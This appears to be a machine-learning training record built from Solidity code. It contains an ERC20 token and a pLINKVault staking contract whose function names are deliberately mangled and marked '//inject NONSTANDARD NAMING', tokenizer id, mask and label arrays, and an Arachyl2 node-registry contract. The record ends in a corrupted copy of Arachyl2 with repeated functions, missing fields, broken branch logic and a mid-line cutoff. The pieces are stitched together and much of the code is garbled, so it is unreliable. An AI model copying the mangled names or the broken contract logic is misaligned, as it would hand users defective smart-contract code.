amount) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE27(_MSGSENDER272(), spender, amount); return true; } function TRANSFERFROM790(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER337(sender, recipient, amount); _APPROVE27(sender, _MSGSENDER272(), _allowances[sender][_MSGSENDER272()].SUB956(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE743(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE27(_MSGSENDER272(), spender, _allowances[_MSGSENDER272()][spender].ADD786(addedValue)); return true; } function DECREASEALLOWANCE224(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE27(_MSGSENDER272(), spender, _allowances[_MSGSENDER272()][spender].SUB956(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER337(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].SUB956(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD786(amount); emit TRANSFER356(sender, recipient, amount); } function _MINT977(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.ADD786(amount); _balances[account] = _balances[account].ADD786(amount); emit TRANSFER356(address(0), account, amount); } function _BURN905(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].SUB956(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB956(amount); emit TRANSFER356(account, address(0), amount); } function _APPROVE27(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL503(owner, spender, amount); } function _BURNFROM541(address account, uint256 amount) internal { //inject NONSTANDARD NAMING _BURN905(account, amount); _APPROVE27(account, _MSGSENDER272(), _allowances[account][_MSGSENDER272()].SUB956(amount, "ERC20: burn amount exceeds allowance")); } } library SafeMath { function ADD786(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB956(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB956(a, b, "SafeMath: subtraction overflow"); } function SUB956(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL88(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV343(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV343(a, b, "SafeMath: division by zero"); } function DIV343(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD197(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD197(a, b, "SafeMath: modulo by zero"); } function MOD197(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT818(address account) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function TOPAYABLE126(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(account)); } function SENDVALUE5(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER46(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN200(token, abi.encodeWithSelector(token.TRANSFER892.selector, to, value)); } function SAFETRANSFERFROM146(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN200(token, abi.encodeWithSelector(token.TRANSFERFROM790.selector, from, to, value)); } function SAFEAPPROVE172(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require((value == 0) || (token.ALLOWANCE335(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN200(token, abi.encodeWithSelector(token.APPROVE49.selector, spender, value)); } function SAFEINCREASEALLOWANCE235(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE335(address(this), spender).ADD786(value); CALLOPTIONALRETURN200(token, abi.encodeWithSelector(token.APPROVE49.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE541(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE335(address(this), spender).SUB956(value, "SafeERC20: decreased allowance below zero"); CALLOPTIONALRETURN200(token, abi.encodeWithSelector(token.APPROVE49.selector, spender, newAllowance)); } function CALLOPTIONALRETURN200(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING require(address(token).ISCONTRACT818(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pLINKVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { mapping (address => uint256) amount; uint256 time; } IERC20 public token = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); address public governance; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount = 0; event WITHDRAWN459(address indexed user, uint256 amount); //inject NONSTANDARD NAMING constructor () public { governance = msg.sender; } function BALANCE221() public view returns (uint) { //inject NONSTANDARD NAMING return token.BALANCEOF342(address(this)); } function SETGOVERNANCE269(address _governance) public { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); governance = _governance; } function DEPOSITALL567() external { //inject NONSTANDARD NAMING DEPOSIT500(token.BALANCEOF342(msg.sender)); } function DEPOSIT500(uint256 _amount) public { //inject NONSTANDARD NAMING require(_amount > 0, "can't deposit 0"); uint arrayLength = addressIndices.length; bool found = false; for (uint i = 0; i < arrayLength; i++) { if(addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 realAmount = _amount.MUL88(995).DIV343(1000); uint256 feeAmount = _amount.MUL88(5).DIV343(1000); address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC; address vaultAddress = 0x32e4bD46e7cee1797b22B02c0340818B6e75C75a; // Vault7 Address token.SAFETRANSFERFROM146(msg.sender, feeAddress, feeAmount); token.SAFETRANSFERFROM146(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.ADD786(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].ADD786(realAmount); } function REWARD357(uint256 _amount) external { //inject NONSTANDARD NAMING require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token.SAFETRANSFERFROM146(msg.sender, address(this), _amount); uint arrayLength = addressIndices.length; for (uint i = 0; i < arrayLength; i++) { rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].ADD786(_amount.MUL88(depositBalances[addressIndices[i]]).DIV343(totalDeposit)); _rewards[_rewardCount].amount[addressIndices[i]] = _amount.MUL88(depositBalances[addressIndices[i]]).DIV343(totalDeposit); } _rewards[_rewardCount].time = block.timestamp; _rewardCount++; } function WITHDRAWALL757() external { //inject NONSTANDARD NAMING WITHDRAW270(rewardBalances[msg.sender]); } function WITHDRAW270(uint256 _amount) public { //inject NONSTANDARD NAMING require(_rewardCount > 0, "no reward amount"); require(_amount > 0, "can't withdraw 0"); uint256 availableWithdrawAmount = AVAILABLEWITHDRAW17(msg.sender); if (_amount > availableWithdrawAmount) { _amount = availableWithdrawAmount; } token.SAFETRANSFER46(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].SUB956(_amount); emit WITHDRAWN459(msg.sender, _amount); } function AVAILABLEWITHDRAW17(address owner) public view returns(uint256){ //inject NONSTANDARD NAMING uint256 availableWithdrawAmount = rewardBalances[owner]; for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.ADD786(7 days); --i) { availableWithdrawAmount = availableWithdrawAmount.SUB956(_rewards[i].amount[owner].MUL88(_rewards[i].time.ADD786(7 days).SUB956(block.timestamp)).DIV343(7 days)); if (i == 0) break; } return availableWithdrawAmount; } }
inject NONSTANDARD NAMING
function _MSGDATA393() internal view returns (bytes memory) {
12,811,395
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 11210, 4883, 5520, 23, 1435, 2713, 1476, 1135, 261, 3890, 3778, 13, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; /** * Optimized description of Arachyl network. register(01.02.03.04) register(01.03.03.04) register(01.02.04.05) register(01.02.02.02) register(01.02.02.03) register(01.02.02.01) root.min = 01 root.max = 01 root.minUid = 01.02.03.04 root.maxUid = 01.02.03.04 TODO need to update to 01.03.03.04 l0[01].min = 02 l0[01].max = 03 l0[01].minUid = 01.02.03.04 TODO need to update to 01.02.02.02 l0[01].maxUid = 01.03.03.04 l1[01.02].min = 02 l1[01.02].max = 04 l1[01.02].minUid = 01.02.02.02 l1[01.02].maxUid = 01.02.04.05 l1[01.03].min = 03 l1[01.03].max = 03 l1[01.03].minUid = 01.03.03.04 l1[01.03].maxUid = 01.03.03.04 l2[01.02.02].min = 02 l2[01.02.02].minUid = 01.02.02.02 l2[01.02.02].max = 03 l2[01.02.02].maxUid = 01.02.02.03 */ contract Arachyl2 { // change the cws address cws = 0x7115ABcCa5f0702E177f172C1c14b3F686d6A63a; uint constant registrationFee = 20 * 1e18; uint8 constant registrationDifficulty = 2; uint8 constant FIRST_ROUTE_DIFFICULTY = 2; uint8 constant ROUTE_DIFFICULTY = 4; uint32 constant ONE_CHILD = 1; //# macro line bool constant ACTIVATE = true; //# macro line // OP stands for Operation struct OP { uint nonce; uint fee; bool activated; } struct NODE { bytes32 hash; uint nonce; uint16 port; bytes4 ip; address owner; bool activated; } struct LAYER { uint32 childrenAmount; // Branches under this leaf bytes1 min; // The left child bytes1 max; // The right child bytes4 minUid; // The UID in the left child bytes4 maxUid; // The UID in the right child bool activated; } mapping(address => bool) public nodeOwners; // node uid = 0x01 e5 c3 83 mapping(bytes4 => NODE) public nodes; mapping(uint16 => OP) public ops; LAYER public root; // children: 1, min: 01, max: 01 mapping (bytes1 => LAYER) public layer0; // 01 => children 1, min: e5, min: e5 mapping (bytes2 => LAYER) public layer1; // 01 => children 1, min: e5, min: e5 mapping (bytes3 => LAYER) public layer2; // 01 => children 1, min: e5, min: e5 constructor() { root.activated = true; // adding a test op ops[1] = OP(0, 10 * 1e18, ACTIVATE); // todo add the registration op } // satisfactory hash difficulty function isDifficult( bytes32 _arg, uint8 _difficulty ) public pure returns (bool) { for (uint8 i = 0; i < _difficulty; i++) { if (_arg[i] != 0x00) { return false; } } return true; } // Return L0 key and its Child Layer ID from UID // For example if UID is 01.02.03.04 // The L0 key would be 01, child would be 02 function keyChildL0(bytes4 id) public pure returns(bytes1, bytes1) { return (bytes1(id), bytes1(id << 8)); } // Return L1 key and its Child Layer ID from UID // For example if UID is 01.02.03.04 // The L1 key would be 02, child would be 03 function keyChildL1(bytes4 id) public pure returns(bytes2, bytes1) { return (bytes2(id), bytes1(id << 16)); } // Return L2 key and its Child Layer ID from UID // For example if UID is 01.02.03.04 // The L2 key would be 03, child would be 04 function keyChildL2(bytes4 id) public pure returns(bytes3, bytes1) { return (bytes3(id), bytes1(id << 24)); } function keyL1(bytes1 key0, bytes1 child) public pure returns(bytes2) { return bytes2(uint16(bytes2(key0)) + uint16(bytes2(child) >> 8)); } function keyL2(bytes2 key1, bytes1 child) public pure returns(bytes3) { return bytes3(uint24(bytes3(key1)) + uint24(bytes3(child) >> 16)); } function keyL3(bytes3 key2, bytes1 child) public pure returns(bytes4) { return bytes4(uint32(bytes4(key2)) + uint32(bytes4(child) >> 24)); } function isCreatedL0(bytes1 id) public view returns(bool) { return layer0[id].activated; } function isCreatedL1(bytes2 id) public view returns(bool) { return layer1[id].activated; } function isCreatedL2(bytes3 id) public view returns(bool) { return layer2[id].activated; } // Create the L0, in the ring tree. And update the Root of the L0. function createL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); layer0[key0] = LAYER(ONE_CHILD, child, child, id, id, ACTIVATE); // Creating L0 means, creating L1 and so on. createL1(id); } // Create the L1, in the ring tree. // The L1 is created after creation of the L2. function createL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); layer1[key1] = LAYER(ONE_CHILD, child, child, id, id, ACTIVATE); // Creating L1 means also creating L2 createL2(id); } // Create the L2, in the ring tree function createL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); layer2[key2] = LAYER(ONE_CHILD, child, child, id, id, ACTIVATE); } // We update the Ring Tree from root to branches. function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); // might be the first node thats ever added // might be that ring already has a node. if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if (root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); } else { root.childrenAmount++; createL0(id); } } // update the layer 0 function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); } else { layer0[key0].childrenAmount++; createL1(id); } } // update the layer 1 function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); } else { layer1[key1].childrenAmount++; createL2(id); } } // update the layer 2 function updateL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); if (layer2[key2].min == 0 || child < layer2[key2].min) { layer2[key2].min = child; } if (layer2[key2].max == 0 || child > layer2[key2].max) { layer2[key2].max = child; } if (layer2[key2].minUid == 0 || id < layer2[key2].minUid) { layer2[key2].minUid = id; } if (layer2[key2].maxUid == 0 || id > layer2[key2].maxUid) { layer2[key2].maxUid = id; } layer2[key2].childrenAmount++; } // UID from hash function getLastFour(bytes32 _arg) public pure returns (bytes4) { bytes32 lastFour = _arg << 224; bytes4 encoded = bytes4(lastFour); for (uint8 i = 0; i < 4; i++) { require(encoded[i] != 0x00, "invalid_4_bytes"); } return encoded; } function registrationHash(address owner, bytes4 ip, uint nonce) public pure returns(bytes32) { bytes32 hash = keccak256(abi.encodePacked(owner, ip, nonce)); return hash; } function getNearestL0(bytes1 min, bytes1 key0) public view returns(bytes4) { for (uint8 i = uint8(key0) - 1; i > uint8(min); i--) { if (isCreatedL0(bytes1(i))) { return layer0[bytes1(i)].maxUid; } } return layer0[min].maxUid; } function getNearestL1(bytes2 min, bytes2 key1) public view returns(bytes4) { for (uint16 i = uint16(key1) - 1; i > uint16(min); i--) { if (isCreatedL1(bytes2(i))) { return layer1[bytes2(i)].maxUid; } } return layer1[min].maxUid; } function getNearestL2(bytes3 min, bytes3 key2) public view returns(bytes4) { for (uint24 i = uint24(key2) - 1; i > uint24(min); i--) { if (isCreatedL2(bytes3(i))) { return layer2[bytes3(i)].maxUid; } } return layer2[min].maxUid; } function getNearestL3(bytes4 min, bytes4 key3) public view returns(bytes4) { for (uint32 i = uint32(key3) - 1; i > uint32(min); i--) { if (nodes[bytes4(i)].activated) { return bytes4(i); } } return min; } // todo: // implement getRootMaxUid() function getNearestUid(bytes4 uid) public view returns(bytes4) { // if nodes exists, then simply return the node if (nodes[uid].activated) { return uid; } // uid < root.minUid, return getRootMaxUid() // uid > root.maxUid, return getRootMaxUid() if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); // get key0 from uid // if L0[key0] not exists, // getNearestL0(root.min, key0) // root.min ... key0 found. then // return max. // if L0[key0] found // uid < L0[key0].minUid, // return getNearestL0(root.min, key0) // uid > L0[key0].maxUid, // return L0[key0].maxUid // L0[key0].minUid < uid < L0[key0].maxUid // get key1 from uid // if L1[key1] not exists // getNearestL1(concat key0 + L0[key0].min, key1) // if L1[key1] found // uid < L1[key1].minUid // getNearestL1(concat key0 + L1[key0].min, key1) // uid > L1[key1].maxUid // return L1[key1].maxUid // L1[key1].minUid < uid < L1[key1].maxUid // get key2 from uid // if L2[key2] not exists // getNearestL2(concat key1 + L1[key1].min, key2) // if L2[key2] found // uid < L2[key2].minUid // getNearestL2(concat key1 + L1[key1].min, key2) // uid > L2[key2].maxUid // return L2[key2].maxUid // L2[key2].minUid < uid < L2[key2].maxUid // getNearestL3(concat key2 + L2[key2].min, uid) } // bytes1 + bytes1 + bytes1 + bytes1 => uid function getKey1(bytes1 key0, bytes1 min0, bytes1 min1, bytes1 min2) public pure returns(bytes4) { bytes4 id = bytes4(key0); bytes4 min = bytes4(min0) >> 8; id = id | min; id = id | (bytes4(min1) >> 16); id = id | (bytes4(min2) >> 24); return id; } // bytes2 + bytes1 + bytes1 => uid function getKey2(bytes2 key1, bytes1 min1, bytes1 min2) public pure returns(bytes4) { bytes4 key1Bytes = bytes4(key1); bytes4 min1Bytes = bytes4(min1) >> 16; key1Bytes = key1Bytes | min1Bytes; min1Bytes = bytes4(min2) >> 24; return key1Bytes | min1Bytes; } // bytes3 + bytes1 => uid function getUid(bytes3 key2, bytes1 min) public pure returns(bytes4) { bytes4 key2Bytes = bytes4(key2); bytes4 minBytes = bytes4(min) >> 24; return key2Bytes | minBytes; } /// One arachyl on S1. /// On macroes it would be as: //# if $deployment.networkName != "localhost" then uncomment end. /*function register(bytes4 ip, uint16 port, uint nonce) external { require(!nodeOwners[msg.sender], "0"); // require(IERC20(cws).transferFrom(msg.sender, address(this), registrationFee), "1"); bytes32 hash = registrationHash(msg.sender, ip, nonce); require(isDifficult(hash, registrationDifficulty), "no_difficult"); bytes4 uid = getLastFour(hash); require(!nodes[uid].activated, "duplicated_uid"); // iz layer 0 exists? if (!isCreatedL2(uid)) { createL2(uid); } else { updateL2(uid); } nodes[uid] = NODE(hash, nonce, port, ip, msg.sender, ACTIVATE); }*/ // Set the UID in the ring tree. // UID is a 4 bytes long integer. // The first layer of ring tree is the first byte of the UID. // The second layer of ring tree is the second byte of the UID. // The third layer of ring tree is the third byte of the UID. // The Ring Tree layers are counted from 0. Therefore, the first layer means layer 0. // // Note that, update of the Ring tree goes from bottom to up. function testRegister(bytes4 uid) external { require(!nodes[uid].activated, "duplicated_uid"); updateRoot(uid); nodes[uid].activated = ACTIVATE; } function message(uint16 opId, uint nonce, bytes32 data, address previous) public view returns(bytes32) { // this contract, opId, op.nonce, data, nonce, previous bytes32 _messageNoPrefix = keccak256(abi.encodePacked(address(this), opId, ops[opId].nonce, data, nonce, previous)); return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageNoPrefix)); } function route(uint16 opId, bytes32 data, uint[5] calldata nonces, uint8[5] calldata v, bytes32[5] calldata r, bytes32[5] calldata s) external { require(ops[opId].activated, "invalid_op"); require(data != 0, "0"); bytes4[5] memory uids; bytes32 _message = message(opId, nonces[0], data, address(0)); // todo verify difficulty of _message for FIRST_ROUTE_DIFFICULTY uids[0] = getLastFour(_message); require(nodes[uids[0]].owner == ecrecover(_message, v[0], r[0], s[0]), "0_failed"); for (uint8 i = 1; i < 5; i++) { _message = message(opId, nonces[i], data, nodes[uids[i-1]].owner); // todo verify difficulty of _message for ROUTE_DIFFICULTY uids[i] = getLastFour(_message); for (uint8 j = i - 1; j < i; j++) { require(uids[i] != uids[j], "duplicate"); } require(nodes[uids[i]].owner == ecrecover(_message, v[i], r[i], s[i]), "failed"); } require(nodes[uids[4]].owner == msg.sender, "not_owner"); ops[opId].nonce++; } }
/ change the cws OP stands for Operation
contract Arachyl2 { address cws = 0x7115ABcCa5f0702E177f172C1c14b3F686d6A63a; uint constant registrationFee = 20 * 1e18; uint8 constant registrationDifficulty = 2; uint8 constant FIRST_ROUTE_DIFFICULTY = 2; uint8 constant ROUTE_DIFFICULTY = 4; register(01.02.03.04) struct OP { uint nonce; uint fee; bool activated; } struct NODE { bytes32 hash; uint nonce; uint16 port; bytes4 ip; address owner; bool activated; } struct LAYER { bool activated; } mapping(address => bool) public nodeOwners; mapping(uint16 => OP) public ops; mapping(bytes4 => NODE) public nodes; constructor() { root.activated = true; ops[1] = OP(0, 10 * 1e18, ACTIVATE); } function isDifficult( bytes32 _arg, uint8 _difficulty ) public pure returns (bool) { for (uint8 i = 0; i < _difficulty; i++) { if (_arg[i] != 0x00) { return false; } } return true; } function isDifficult( bytes32 _arg, uint8 _difficulty ) public pure returns (bool) { for (uint8 i = 0; i < _difficulty; i++) { if (_arg[i] != 0x00) { return false; } } return true; } function isDifficult( bytes32 _arg, uint8 _difficulty ) public pure returns (bool) { for (uint8 i = 0; i < _difficulty; i++) { if (_arg[i] != 0x00) { return false; } } return true; } function keyChildL0(bytes4 id) public pure returns(bytes1, bytes1) { return (bytes1(id), bytes1(id << 8)); } function keyChildL1(bytes4 id) public pure returns(bytes2, bytes1) { return (bytes2(id), bytes1(id << 16)); } function keyChildL2(bytes4 id) public pure returns(bytes3, bytes1) { return (bytes3(id), bytes1(id << 24)); } function keyL1(bytes1 key0, bytes1 child) public pure returns(bytes2) { return bytes2(uint16(bytes2(key0)) + uint16(bytes2(child) >> 8)); } function keyL2(bytes2 key1, bytes1 child) public pure returns(bytes3) { return bytes3(uint24(bytes3(key1)) + uint24(bytes3(child) >> 16)); } function keyL3(bytes3 key2, bytes1 child) public pure returns(bytes4) { return bytes4(uint32(bytes4(key2)) + uint32(bytes4(child) >> 24)); } function isCreatedL0(bytes1 id) public view returns(bool) { return layer0[id].activated; } function isCreatedL1(bytes2 id) public view returns(bool) { return layer1[id].activated; } function isCreatedL2(bytes3 id) public view returns(bool) { return layer2[id].activated; } function createL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); layer0[key0] = LAYER(ONE_CHILD, child, child, id, id, ACTIVATE); createL1(id); } function createL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); layer1[key1] = LAYER(ONE_CHILD, child, child, id, id, ACTIVATE); createL2(id); } function createL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); layer2[key2] = LAYER(ONE_CHILD, child, child, id, id, ACTIVATE); } function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if (root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); root.childrenAmount++; createL0(id); } } function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if (root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); root.childrenAmount++; createL0(id); } } function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if (root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); root.childrenAmount++; createL0(id); } } function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if (root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); root.childrenAmount++; createL0(id); } } function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if 